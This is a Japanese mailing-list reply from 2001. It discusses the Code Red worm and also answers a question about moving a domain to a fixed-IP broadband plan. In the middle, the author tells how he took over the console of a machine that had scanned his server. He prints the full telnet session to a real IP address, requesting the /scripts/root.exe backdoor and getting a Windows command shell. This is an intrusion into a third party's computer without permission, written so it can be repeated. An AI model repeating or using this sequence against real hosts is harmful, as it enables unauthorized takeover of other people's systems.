Re: Code Red

[KOBA Masayuki]

On Tue, Aug 7 2001 0:21 JST
	Yasuyuki Suzuki <yassan@noge.com> said:
>
> いや〜いつもながら、古場さん、こころ強いっす。
> これからもよろしくお願いいたします。

　うひー。Code Redに犯されたマシンは、簡単にコンソールを乗っ取
れます。今、うちのサーバにスキャンしてきたマシンのコンソールを
乗っ取ってみました。

% telnet 203.237.243.76 80
Trying 203.237.243.76...
Connected to 203.237.243.76.
Escape character is '^]'.
GET /scripts/root.exe HTTP/1.0<RET>
<RET>
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Mon, 06 Aug 2001 15:24:26 GMT
Content-Type: application/octet-stream
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

d:\inetpub\scripts>_

> ところで、１１月に大道芸側と契約が切れるnoge.comですが、YahooBBの、固定IPア
> ドレス＆廉価月額に変更可能でしょうか。

　問題ないですよ。ついでに、OS もバージョンアップしましょう！

> よかったら（面倒くさくなければ）bsy34.comの方も教えていただけませんか。

　まだインターリンクが重いので、ちょっと勘弁っす（たぶん、そう
変わらないかと）。

-- 
古場 正行 (こば まさゆき)                          (((((((
  E-mail: koba@koba.jp, postpet@koba.jp (private)   )∂ ∂)
          masa-k@sag.hitachi-sk.co.jp   (office)   (  v  __
     URI: http://koba.jp/                           ゝ-〈/